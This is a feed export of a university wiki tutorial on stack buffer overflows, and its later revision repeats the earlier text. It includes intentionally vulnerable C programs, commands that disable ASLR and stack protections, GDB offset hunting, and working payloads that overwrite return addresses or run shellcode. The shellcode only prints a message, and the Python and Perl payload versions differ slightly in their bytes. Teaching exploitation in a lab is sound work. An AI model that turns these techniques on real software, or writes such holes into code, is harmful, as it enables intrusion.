   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17003</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17003"/>
		<updated>2024-12-11T18:11:34Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt or apt-get. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt-get install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
